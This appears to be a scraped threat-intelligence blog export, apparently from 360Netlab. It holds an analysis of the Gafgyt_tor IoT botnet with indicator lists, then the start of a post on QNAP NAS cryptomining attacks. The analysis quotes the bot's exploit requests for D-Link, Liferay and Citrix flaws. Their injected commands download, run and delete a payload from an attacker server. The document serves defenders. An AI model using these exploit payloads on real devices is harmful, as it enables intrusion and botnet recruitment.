The group also keeps up with n-day vulnerabilities in IoT and use them promptly to facilitate their own botnets.
The timeline chart below shows the Linux IoT botnet family operated by this group that we detected from last August to now.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.
IoC
* MD5
# tsunami
3ab32e92917070942135f5c5a545127d
# gafgyt
f1d6fbd0b4e6c6176e7e89f1d1784d14
# gafgyt_tor
eb77fa43bb857e68dd1f7fab04ed0de4
dce3d16ea9672efe528f74949403dc93
bfaa01127e03a119d74bdb4cb0f557ec
a6bdf72b8011be1edc69c9df90b5e0f2
5c1153608be582c28e3287522d76c02f
54e2687070de214973bdc3bc975049b5
b40d8a44b011b79178180a657b052527
1cc68eb2d9713925d692194bd0523783
94a587198b464fc4f73a29c8d8d6e420
2b2940d168a60990377fea8b6158ba22
56439912093d9c1bf08e34d743961763
2d6917fe413163a7be7936a0609a0c2d
8cd99b32ec514f348f4273a814f97e79
1c966d79319e68ccc66f1a2231040adb
47275afdb412321610c08576890093d7
3c5758723980e6b9315ac6e6c32e261d
980d4d0ac9335ae1db6938e8aeb3e757
513bc0091dfa208249bd1e6a66d9d79e
8e551c76a6b17299da795c2b69bb6805
61b93c03cb5af31b82c11d0c86f82be1
69cab222e42c7177655f490d849e18c5
7cbdd215e7f1e17fc589de2df3f09ac9
6b631fed1416c2cd16ca01738fdfe61a
90a716280fe1baee0f056a79c3aa724d
3b4f844c7dd870e8b8c1d5a397a29514
853dc777c5959db7056f64b34e938ba5
3eccab18fa690bbfdb6e10348bc40b02
e78e04aad0915f2febcbb19ef6ffc4fe
b99115a6ea41d85dea5c96d799e65353
4b95dfc5dc523f29eebf7d50e98187c2
4c271f8068bc64686b241eb002e15459
843a7fec9a8e2398a69dd7dfc49afdd2
7122bcd084d2d0e721ec7c01cf2a6a57
10f6b09f88e0cf589d69a764ff4f455b
f91083e19eed003ac400c1e94eba395e
* C2
wvp3te7pkfczmnnl.onion
* Download URL
http://45.153.203.124/bins/AJhkewbfwefWEFx86
http://45.153.203.124/bins/AJhkewbfwefWEFsh4
http://45.153.203.124/bins/AJhkewbfwefWEFmips
http://45.153.203.124/S1eJ3/lPxdChtp3zx86
http://45.153.203.124/S1eJ3/lPxdChtp3zsh4
http://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp
http://45.153.203.124/S1eJ3/lPxdChtp3zmpsl
http://45.153.203.124/S1eJ3/lPxdChtp3zmips
http://45.153.203.124/S1eJ3/lPxdChtp3zarm7
http://45.153.203.124/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/bins/AJhkewbfwefWEFx86
http://45.145.185.83/bins/AJhkewbfwefWEFspc
http://45.145.185.83/bins/AJhkewbfwefWEFsh4
http://45.145.185.83/bins/AJhkewbfwefWEFppc
http://45.145.185.83/bins/AJhkewbfwefWEFmips
http://45.145.185.83/bins/AJhkewbfwefWEFi586
http://45.145.185.83/bins/AJhkewbfwefWEFarm7
http://45.145.185.83/bins/AJhkewbfwefWEFarm
http://45.145.185.83/S1eJ3/lPxdChtp3zsh4
http://45.145.185.83/S1eJ3/lPxdChtp3zmpsl
http://45.145.185.83/S1eJ3/lPxdChtp3zmips
http://45.145.185.83/S1eJ3/lPxdChtp3zi686
http://45.145.185.83/S1eJ3/lPxdChtp3zbsd
http://45.145.185.83/S1eJ3/lPxdChtp3zarm7
http://45.145.185.83/S1eJ3/lPxdChtp3zarm64
http://45.145.185.83/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/S1eJ3/IObeENwjx86
http://45.145.185.83/S1eJ3/IObeENwjmips
http://45.145.185.83/S1eJ3/IObeENwjarm5
http://45.145.185.83/S1eJ3/IObeENwjarm4
http://45.145.185.83/S1eJ3/IObeENwjarm
* Tor Proxy
103.125.218.111
103.125.218.111
103.82.219.42
104.155.207.91
104.224.179.229
107.20.204.32
111.90.159.138
116.202.107.151
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
119.28.149.37
128.199.45.26
130.193.56.117
134.122.4.130
134.122.4.130
134.122.59.236
134.122.59.236
134.122.59.236
134.209.230.13
134.209.249.97
135.181.137.237
138.68.6.227
139.162.149.58
139.162.32.82
139.162.42.124
139.99.239.154
142.47.219.133
143.110.230.187
145.239.83.129
146.59.156.72
146.59.156.76
146.59.156.77
146.66.180.176
148.251.177.144
157.230.27.96
157.230.98.211
157.230.98.77
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.247.211.132
159.65.69.186
159.69.203.65
159.69.203.65
159.89.19.9
161.35.84.202
165.22.194.250
165.22.94.245
167.172.123.221
167.172.173.3
167.172.177.33
167.172.178.215
167.172.179.199
167.172.180.219
167.172.190.42
167.233.6.47
167.71.236.109
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.61.251
172.104.240.74
172.104.4.144
176.37.245.132
178.62.215.4
18.191.18.101
18.229.49.115
185.105.237.253
185.106.121.176
185.106.122.10
185.128.139.56
185.180.223.198
185.18.215.170
185.18.215.178
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.217.1.30
188.127.231.152
188.165.233.121
188.166.17.35
188.166.34.137
188.166.79.209
188.166.79.209
188.166.80.74
188.166.82.232
188.166.82.232
188.227.224.110
188.68.52.220
192.46.209.98
192.99.169.229
193.123.35.48
193.187.173.33
195.123.222.9
195.93.173.53
197.156.89.19
198.27.82.186
198.74.54.182
199.247.4.110
201.40.122.152
20.52.130.140
20.52.130.140
20.52.130.140
20.52.147.137
20.52.37.89
20.52.37.89
206.81.17.232
206.81.27.29
212.71.253.168
212.8.244.112
217.12.201.190
217.12.201.190
217.12.201.190
217.144.173.78
217.170.127.226
217.61.98.33
34.239.11.167
35.189.88.51
35.192.111.58
35.192.111.58
37.200.66.166
3.91.139.103
45.33.45.209
45.33.79.19
45.33.82.126
45.79.207.110
45.81.225.67
45.81.225.67
45.81.226.8
45.81.226.8
45.81.226.8
45.92.94.83
46.101.156.38
46.101.159.138
47.90.1.153
49.147.80.102
50.116.61.125
5.100.80.141
51.11.240.222
51.11.240.222
51.116.185.181
51.116.185.181
51.195.201.47
51.195.201.50
5.167.53.191
51.68.191.153
51.75.161.21
51.83.185.71
51.83.186.137
51.89.165.233
52.47.87.178
5.63.13.54
66.42.34.110
67.205.130.65
68.183.67.182
68.183.82.50
79.124.62.26
80.251.220.190
8.210.163.246
8.210.163.246
87.236.215.248
88.198.167.20
88.198.167.20
91.236.251.131
94.23.40.220
95.179.163.1
95.179.163.1
95.179.163.1
95.179.163.1
95.179.164.28
95.179.164.28
95.179.164.28
95.188.93.135
95.216.123.39
95.216.137.149
95.217.27.5
References
https://blog.netlab.360.com/necro/
https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg
https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Overview\nSince February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. This is the first time we found a Gafgyt variant using the Tor mechanism, so we named the variant Gafgyt_tor. Further analysis revealed that the family is closely related to the [Necro](__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/) family we made public in January, and is behind the same group of people, the so-called keksec group [[1]](https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg) [[2]](https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/). In this blog, we will introduce Gafgyt_tor and sort out other recent botnets operated by this group.\n\n\nThe key points of this article are as follows.\n\n1. Gafgyt_tor uses Tor to hide C2 communication, over 100 Tor proxies can be built in, and new samples are continuously updating the proxy list.\n\n2. Gafgyt_tor share the same origin with the Gafgyt samples discturibed by the keksec group, the core function is still DDoS attacks and scanning.\n\n3. The keksec group reuse the code between different bot families.\n\n4. In addition, the keksec group also reuse a bunch of IP addresses for a long time.\n\n## Sample Analysis\n\n### Propagation\nThe currently discovered Gafgyt_tor botnet is mainly propagated through Telnet weak passwords and the following three vulnerabilities.\n\n* D-Link RCE (CVE-2019-16920)\n```\nPOST /apply_sec.cgi HTTP/1.1\nHost: %s:%d\nUser-Agent: kpin\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: %d\nConnection: close\nReferer: http://%s:%d/login_pic.asp\nCookie: uid=1234123\nUpgrade-Insecure-Requests: 1\n\nhtml_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%%0acd%%20%%2Ftmp;busybox%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20%7C%7C%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20-O%%20.kpin;chmod%%20777%%20.%%2F.kpin;.%2F.kpin;rm%%20-rf%%20.kpin\n ```\n \n* Liferay Portal RCE\n ```\n POST /api/jsonws/expandocolumn/update-column HTTP/1.1\n Host: %s:%d\n Connection: keep-alive\n Accept-Encoding: gzip, deflate\n Accept: */*\n User-Agent: python-requests/2.25.0\n Content-Length: %d\n Content-Type: application/x-www-form-urlencoded\n Authorization: Basic dGVzdEBsaWZlcmF5LmNvbTp0ZXN0\n \n %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&defaultData.userOverridesAsString=HexAsciiSerializedMap:...\n ```\n \n* Citrix CVE-2019-19781\n```\n POST /vpns/portal/scripts/newbm.pl HTTP/1.1\n Host: %s:%d\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0\n Accept-Encoding: gzip, deflate\n Accept: */*\n Connection: keep-alive\n NSC_USER: ../../../netscaler/portal/templates/flialwznxz\n NSC_NONCE: 12\n Content-Length: %d\n Content-Type: application/x-www-form-urlencoded\n \n url=127.0.0.1&title=%%5B%%25+template.new%%28%%7B%%27BLOCK%%27%%3D%%27print+readpipe%%28%%22cd+%%2Ftmp%%3Bwget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+%%7C%%7C+wget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+-O+.kpin%%3Bchmod+777+.%%2F.kpin%%3B.%%2F.kpin%%3Brm+-rf+.kpin%%22%%29%%27%%7D%%29%%25%%5D&desc=desc&UI_inuse=a \n ```\n\n### Encryption\nGafgyt_tor integrates a replacement encryption algorithm for encrypting C2 and sensitive strings to counter detection and static analysis. Sensitive strings include commands, IPC pathnames, DDoS-related attack strings, etc.\n\nThe following is a comparison of ciphertext and plaintext C2.\n\n```\n# ciphertext\n'\"?>K!tF>iorZ:ww_uBw3Bw' \n\n# plaintext\n'wvp3te7pkfczmnnl.onion'\n```\n\nThe Gafgyt_tor variants we detected so far all use the same C2 wvp3te7pkfczmnnl.onion.\n\nSome of the cipher decryption results are as follows.\n\n```\n# commands\n~-6mvgmv - LDSERVER\n1-| - UDP\ncD| - TCP\nej~- - HOLD\n51,U - JUNK\nc~6 - TLS\n6c- - STD\n-,6 - DNS\n6D7,,mv - SCANNER\nj, - ON\njdd - OFF\njge - OVH\n.~7DU,1v6m - BLACKNURSE\n\n# DDoS-related attack\n7~~ - ALL\n6p, - SYN\nv6c - RST\ndx, - FIN\n7DU - ACK\n|6e - PSH\n\n# Scan-related\naDbwwtr3bw - WChnnecihn\naQuq - W.1\naEcc - WxTT\n74tw! - Agent\n1;t= - User\n\n# misc\n|x,< - PING\n=ru_Brf_ - rc.local\n```\n\nThe following is the python decryption code we wrote based on the inverse results.\n\n```\n def decode(encoded, encodes):\n idx = 0\n decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. '\n decoded = bytearray()\n\n while ( idx < len(encoded)):\n for table_idx in range(0, 64):\n if encoded[idx] == encodes[table_idx]:\n decoded.append(decodes[table_idx])\n idx += 1\n\n print(decoded)\n \nencodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?\"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un'\nencoded_cc = b'\"?>K!tF>iorZ:ww_uBw3Bw'\ndecode(encoded_cc, encodes)\n```\n\n\n### Communication\n\nCompared with other Gafgyt variants, the biggest change of Gafgyt_tor is that the C2 communication is based on Tor, which increases the difficulty of detection and blocking. The Tor-based C2 communication mechanism has been seen in other families we have analyzed before( [Matryosh](__GHOST_URL__/matryosh-botnet-is-spreading/) [leethozer](__GHOST_URL__/the-leethozer-botnet/) [moobot](__GHOST_URL__/moobot-0day-unixcctv-dvr/) ), but this is the first time we encountered it in the Gafgyt family.\n\n* Code changes\n\nCompared with other versions, the code structure of the main function of Gafgyt_tor, which adds the Tor proxy function, has changed very much, as shown in the following figure.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ver1_ver2_cmp_cfg.en.png"}],["markdown",{"markdown":"\nThe original initConnection() function, which is responsible for establishing the C2 connection, is gone, replaced by a large section of code responsible for establishing the Tor connection. The newly added Tor-related functions are as follows.\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/tor_functions.png"}],["markdown",{"markdown":"Among them, tor_socket_init is responsible for initializing a list of proxy nodes, each containing an ip address and a port."}],["image",{"src":"__GHOST_URL__/content/images/2021/03/tor_socket_init.png"}],["markdown",{"markdown":"Our analysis shows that the number of proxy nodes integrated in each sample is always 100+, with a maximum of 173.\n\nAfter initializing the proxy list, the sample will select a random node from the list to enable Tor communication via tor_retrieve_addr and tor_retrieve_port."}],["image",{"src":"__GHOST_URL__/content/images/2021/03/random_select_tor_node.png"}],["markdown",{"markdown":"After establishing a connection with the Tor proxy, Gafgyt_tor starts requesting wvp3te7pkfczmnnl.onion through the darknet waiting for instructions. This C2 address has not changed in the samples we have analyzed, but the communication port is continuously changing.\n\n* The command\n\nThe core function of Gafgyt_tor is still DDoS attack and scanning, so it mostly follows the common Gafgyt directive, a new directive called LDSERVER has been added. C2 can specify the download server used in Gafgyt_tor's exploit through this directive, as shown in the figure below."}],["image",{"src":"__GHOST_URL__/content/images/2021/03/dyn_config_scan_payload_dl_server-1.png"}],["markdown",{"markdown":"This directive means that C2 can dynamically switch download servers, so that it can quickly switch to a new download server to continue propagation if the current one is blocked.\n\n### Some other things\nGafgyt_tor uses a few uncommon coding tricks in addition to the modification of the communication function.\n\n* Singleton mode\n\nSingle instance mode is implemented using Unix domain sockets (an IPC mechanism), which requires a pathname to be specified, which is also encrypted. As shown below, k4=f2t is decrypted to ugrade.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/singleton_connect-2.png"}],["markdown",{"markdown":"* Function name obfuscation\n\nNone of the Gafgyt_tor samples we collected have been stripped, so the complete symbolic information is preserved in the samples, and most of the samples are scanned and propagated using a function named ak47Scan. In the sample captured on February 24 we found that the function name was obfuscated as a random string, so it can be assumed that the sample is in active development stage and the authors are gradually strengthening Gafgyt_tor's ability to counter analysis and detection.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ak47scan_v2_comp_v2.1_obf.en.png"}],["markdown",{"markdown":"## Sample origin \n\nWhile analyzing the IoC of Gafgyt_tor, we noticed that a download server IP 45.145.185.83 was used by Necro botnet, which appeared in early January this year:\n\ngxbrowser.net is one of Necro's 3 C2s, and the above image shows that it has resolved to this download server IP of Gafgyt_tor several times.\n\nFurther analysis shows that this IP and another Necro C2 IP 193.239.147.224 were also used as C2 by other versions of Gafgyt and Tsunami botnet in early February, which apparently share code with Gafgyt_tor.\n\n1. Both have decryption functions named decode, with identical code structures.\n\n2. Both have scan functions named ak47scan and ak47telscan.\n\nTheir decode function decode() differs only in the code table.\n\n```\n# Code table in the gafgyt sample\n'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?\"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un0'\n\n# Code table in tsunami sample\n'xm@_;w,B-Z*j?nvE|sq1o$3\"7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy:0'\n```\n\nThe following figure is a comparison of their ak47scan() functions, you can see that the function and structure is actually similar, but there are changes in the way it runs and the ports it scans."}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ak47scan_history.png"}],["markdown",{"markdown":"Based on the binary characteristics of the decode() and ak47scan() functions mentioned above, we found more such Tsunami and Gafgyt samples in our sample database, which are characterized as follows.\n\n1. Tsunami samples appear in mid-August 2020 and are active for a short period of time.\n\n2. Gafgyt samples were spreading intermittently from September to December 2020.\n\n3. From early to mid-February, first Tsunami samples resumed propagation, then Gafgyt, followed by Gafgyt_tor.\n\n4. There are many similarities between the currently spreading Gafgyt_tor variants and the previously captured Gafgyt samples, and the code is clearly same origin.\n\n5. These variants of botnet frequently reuse same download server and C2 IP.\n\nWe can see that there was no update in January this year, we guess because the authors focused their efforts on Necro. In terms of binary characteristics, there is no similarity with Gafgyt_tor as Necro is written in Python, but we see there are some commonalities in propagation methods.\n\n1. Both changed different exploits in a short period of time, presumably to improve the propagation effect.\n\n2. Both adopted the \"develop-and-distribute\" approach to continuously improve the botnet function, resulting in a large number of different samples being distributed in a short period of time.\n\nBased on the above analysis, we think that Gafgyt_tor and Necro are very likely operated by the same group of people, who have a pool of IP addresses and multiple botnet source codes, and have the ability of continuous development. In actual operation, they form different families of botnets, but reuse infrastructure such as IP address, for example, the above-mentioned IP 45.145.185.83 address acts as different C2 for different botnets since the end of last year, the timeline of different functions is roughly shown in the figure below."}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ip_timeline-3.png"}],["markdown",{"markdown":"Here are some conclusions about the group:\n\n1. They have at least the source code for Necro, Gafgyt and Tsunami.\n\n2. They continue to upgrade and rotate the botnets in their hands.\n\n3. They have a pool of IP address resources and reuse them in different botnets.\n\n4. The group also keeps up with n-day vulnerabilities in IoT and use them promptly to facilitate their own botnets.\n\nThe timeline chart below shows the Linux IoT botnet family operated by this group that we detected from last August to now."}],["image",{"src":"__GHOST_URL__/content/images/2021/03/keksec_samples_timeline-2.png"}],["markdown",{"markdown":"## Contact us\nReaders are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.\n\n## IoC\n\n* MD5\n```\n# tsunami\n3ab32e92917070942135f5c5a545127d\n\n# gafgyt\nf1d6fbd0b4e6c6176e7e89f1d1784d14\n\n# gafgyt_tor\neb77fa43bb857e68dd1f7fab04ed0de4\ndce3d16ea9672efe528f74949403dc93\nbfaa01127e03a119d74bdb4cb0f557ec\na6bdf72b8011be1edc69c9df90b5e0f2\n5c1153608be582c28e3287522d76c02f\n54e2687070de214973bdc3bc975049b5\nb40d8a44b011b79178180a657b052527\n1cc68eb2d9713925d692194bd0523783\n94a587198b464fc4f73a29c8d8d6e420\n2b2940d168a60990377fea8b6158ba22\n56439912093d9c1bf08e34d743961763\n2d6917fe413163a7be7936a0609a0c2d\n8cd99b32ec514f348f4273a814f97e79\n1c966d79319e68ccc66f1a2231040adb\n47275afdb412321610c08576890093d7\n3c5758723980e6b9315ac6e6c32e261d\n980d4d0ac9335ae1db6938e8aeb3e757\n513bc0091dfa208249bd1e6a66d9d79e\n8e551c76a6b17299da795c2b69bb6805\n61b93c03cb5af31b82c11d0c86f82be1\n69cab222e42c7177655f490d849e18c5\n7cbdd215e7f1e17fc589de2df3f09ac9\n6b631fed1416c2cd16ca01738fdfe61a\n90a716280fe1baee0f056a79c3aa724d\n3b4f844c7dd870e8b8c1d5a397a29514\n853dc777c5959db7056f64b34e938ba5\n3eccab18fa690bbfdb6e10348bc40b02\ne78e04aad0915f2febcbb19ef6ffc4fe\nb99115a6ea41d85dea5c96d799e65353\n4b95dfc5dc523f29eebf7d50e98187c2\n4c271f8068bc64686b241eb002e15459\n843a7fec9a8e2398a69dd7dfc49afdd2\n7122bcd084d2d0e721ec7c01cf2a6a57\n10f6b09f88e0cf589d69a764ff4f455b\nf91083e19eed003ac400c1e94eba395e\n```\n\n* C2\n```\nwvp3te7pkfczmnnl.onion\n```\n\n* Download URL\n```\nhttp://45.153.203.124/bins/AJhkewbfwefWEFx86\nhttp://45.153.203.124/bins/AJhkewbfwefWEFsh4\nhttp://45.153.203.124/bins/AJhkewbfwefWEFmips\n\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zx86\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zsh4\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zmpsl\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zmips\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zarm7\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zarm\n\nhttp://45.145.185.83/bins/AJhkewbfwefWEFx86\nhttp://45.145.185.83/bins/AJhkewbfwefWEFspc\nhttp://45.145.185.83/bins/AJhkewbfwefWEFsh4\nhttp://45.145.185.83/bins/AJhkewbfwefWEFppc\nhttp://45.145.185.83/bins/AJhkewbfwefWEFmips\nhttp://45.145.185.83/bins/AJhkewbfwefWEFi586\nhttp://45.145.185.83/bins/AJhkewbfwefWEFarm7\nhttp://45.145.185.83/bins/AJhkewbfwefWEFarm\n\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zsh4\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zmpsl\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zmips\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zi686\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zbsd\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zarm7\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zarm64\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zarm\n\nhttp://45.145.185.83/S1eJ3/IObeENwjx86\nhttp://45.145.185.83/S1eJ3/IObeENwjmips\nhttp://45.145.185.83/S1eJ3/IObeENwjarm5\nhttp://45.145.185.83/S1eJ3/IObeENwjarm4\nhttp://45.145.185.83/S1eJ3/IObeENwjarm\n```\n\n* Tor Proxy\n```\n103.125.218.111\n103.125.218.111\n103.82.219.42\n104.155.207.91\n104.224.179.229\n107.20.204.32\n111.90.159.138\n116.202.107.151\n116.203.210.124\n116.203.210.124\n116.203.210.124\n116.203.210.124\n116.203.210.124\n119.28.149.37\n128.199.45.26\n130.193.56.117\n134.122.4.130\n134.122.4.130\n134.122.59.236\n134.122.59.236\n134.122.59.236\n134.209.230.13\n134.209.249.97\n135.181.137.237\n138.68.6.227\n139.162.149.58\n139.162.32.82\n139.162.42.124\n139.99.239.154\n142.47.219.133\n143.110.230.187\n145.239.83.129\n146.59.156.72\n146.59.156.76\n146.59.156.77\n146.66.180.176\n148.251.177.144\n157.230.27.96\n157.230.98.211\n157.230.98.77\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.247.211.132\n159.65.69.186\n159.69.203.65\n159.69.203.65\n159.89.19.9\n161.35.84.202\n165.22.194.250\n165.22.94.245\n167.172.123.221\n167.172.173.3\n167.172.177.33\n167.172.178.215\n167.172.179.199\n167.172.180.219\n167.172.190.42\n167.233.6.47\n167.71.236.109\n168.119.37.152\n168.119.37.152\n168.119.37.152\n168.119.37.152\n168.119.37.152\n168.119.61.251\n172.104.240.74\n172.104.4.144\n176.37.245.132\n178.62.215.4\n18.191.18.101\n18.229.49.115\n185.105.237.253\n185.106.121.176\n185.106.122.10\n185.128.139.56\n185.180.223.198\n185.18.215.170\n185.18.215.178\n185.212.128.115\n185.212.128.115\n185.212.128.115\n185.212.128.115\n185.212.128.115\n185.212.128.115\n185.217.1.30\n188.127.231.152\n188.165.233.121\n188.166.17.35\n188.166.34.137\n188.166.79.209\n188.166.79.209\n188.166.80.74\n188.166.82.232\n188.166.82.232\n188.227.224.110\n188.68.52.220\n192.46.209.98\n192.99.169.229\n193.123.35.48\n193.187.173.33\n195.123.222.9\n195.93.173.53\n197.156.89.19\n198.27.82.186\n198.74.54.182\n199.247.4.110\n201.40.122.152\n20.52.130.140\n20.52.130.140\n20.52.130.140\n20.52.147.137\n20.52.37.89\n20.52.37.89\n206.81.17.232\n206.81.27.29\n212.71.253.168\n212.8.244.112\n217.12.201.190\n217.12.201.190\n217.12.201.190\n217.144.173.78\n217.170.127.226\n217.61.98.33\n34.239.11.167\n35.189.88.51\n35.192.111.58\n35.192.111.58\n37.200.66.166\n3.91.139.103\n45.33.45.209\n45.33.79.19\n45.33.82.126\n45.79.207.110\n45.81.225.67\n45.81.225.67\n45.81.226.8\n45.81.226.8\n45.81.226.8\n45.92.94.83\n46.101.156.38\n46.101.159.138\n47.90.1.153\n49.147.80.102\n50.116.61.125\n5.100.80.141\n51.11.240.222\n51.11.240.222\n51.116.185.181\n51.116.185.181\n51.195.201.47\n51.195.201.50\n5.167.53.191\n51.68.191.153\n51.75.161.21\n51.83.185.71\n51.83.186.137\n51.89.165.233\n52.47.87.178\n5.63.13.54\n66.42.34.110\n67.205.130.65\n68.183.67.182\n68.183.82.50\n79.124.62.26\n80.251.220.190\n8.210.163.246\n8.210.163.246\n87.236.215.248\n88.198.167.20\n88.198.167.20\n91.236.251.131\n94.23.40.220\n95.179.163.1\n95.179.163.1\n95.179.163.1\n95.179.163.1\n95.179.164.28\n95.179.164.28\n95.179.164.28\n95.188.93.135\n95.216.123.39\n95.216.137.149\n95.217.27.5\n```\n\n## References\n__GHOST_URL__/necro/\nhttps://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg\nhttps://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/\n"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[10,13],[10,14],[10,15],[10,16],[10,17],[10,18],[10,19],[10,20],[1,"p",[]],[1,"p",[]],[1,"p",[]]],"ghostVersion":"3.0"} | 60404a8ad0d9b7000712c12f |
post | null | 2021-03-05T06:14:00.000Z | 63873b9a8b1c1e0007f52fac | qnap-nas-users-make-sure-you-check-your-system | 0 | 2022-02-09T07:06:22.000Z | public | published | null | 2021-03-05T14:00:00.000Z | QNAP NAS users, make sure you check your system | <!--kg-card-begin: markdown--><h3 id="background">Background</h3>
<p>On March 2, 2021, 360Netlab Threat Detection System started to report attacks targeting the widely used QNAP NAS devices via the unauthorized remote command execution vulnerability (CVE-2020-2506 & CVE-2020-2507)<a href="https://www.qnap.com.cn/en/security-advisory/qsa-20-08">[1]</a>, upon successful attack, the attacker will gain root privilege on the device and perform malicious mining activities.</p>
<p>Due to the possible big impact, we contacted and informed the vendor on March 3, and decided to share some information with this quick blog.</p>
<p>Note 1, there is currently no public available PoC for CVE-2020-2506 & CVE-2020-2507, also according to the vendor’s request, we are not disclosing the technical details of the vulnerability in order to protect QNAP NAS users, we speculate that there are still hundreds of thousands of online QNAP NAS devices with the vulnerability.</p>
<p>We named the mining program UnityMiner, we noticed the attacker customized the program by hiding the mining process and the real CPU memory resource usage information, so when the QNAP users check the system usage via the WEB management interface, they cannot see the abnormal system behavior.</p>
<p>Previously We have disclosed another QNAP NAS in-the-wild vulnerability attack here<a href="__GHOST_URL__/in-the-wild-qnap-nas-attacks/">[2]</a>.</p>
<h3 id="vulnerabilityimpact">Vulnerability impact</h3>
<p>Our 360 FirmwareTotal system shows that the following models are affected by the vulnerabilities. The QNAP NAS installed Helpdesk app prior to August 2020 is affected. The following is the list of known models that could be vulnerable.</p>
<pre><code>TVS-X73
TVS-X71U
TVS-X71
TVS-X63
TS-XA82
TS-XA73
TS-XA28A
TS-X89U
TS-X88
TS-X85U
TS-X85
TS-X83XU
TS-X82U
TS-X82S
TS-X82
TS-X80U
TS-X80
TS-X77U
TS-X77
TS-X73U
TS-X72U
TS-X72
TS-X63U
TS-X53U
TS-X53S
TS-X53D
TS-X53BU
TS-X53B
TS-X53A
TS-X53
TS-X51U
TS-X51DU
TS-X51B
TS-X51A
TS-X51
TS-X35A
TS-X28A
TS-KVM
TS-879U
TS-879
TS-870U
TS-870
TS-869U
TS-869
TS-859U
TS-859
TS-809U
TS-809
TS-670
TS-669
TS-659
TS-639
TS-569
TS-559
TS-509
TS-470
TS-469U
TS-469
TS-459U
TS-459
TS-439U
TS-439PROII
TS-439
TS-421U
TS-421
TS-420U
TS-420
TS-419U
TS-419P
TS-412U
TS-412
TS-410
TS-269
TS-259
TS-239PROII
TS-239H
TS-239
TS-221
TS-220
TS-219
TS-212
TS-210
TS-1679U
TS-1279U
TS-1270U
TS-1269U
TS-121
TS-120
TS-119
TS-112
TS-110
TS-1079
SS-839
SS-439
SS-2479U
SS-1879U
SS-1279U
QGD-1600
Mustang-200
IS-400
HS-251
HS-210
</code></pre>
<p>And the following is the Geo breakdown of the devices online by using the 360 Quake cyberspace mapping system, all togetherthere are 4,297,426 QNAP NAS, with 951,486 unique IPs.<br>
<a href="__GHOST_URL__/content/images/2021/03/qnap_distribution_en.png"><img src="__GHOST_URL__/content/images/2021/03/qnap_distribution_en.png" class="kg-image"/></a></p>
<h3 id="briefanalysisoftheminingkit">Brief analysis of the mining kit</h3>
<h4 id="1overview">1. Overview</h4>
<p>The mining program consists of <code>unity_install.sh</code> and <code>Quick.tar.gz</code>. <code>unity_install.sh</code> is used to download & set up & start the mining program and hijack the <code>manaRequest.cgi</code> program in the original device;</p>
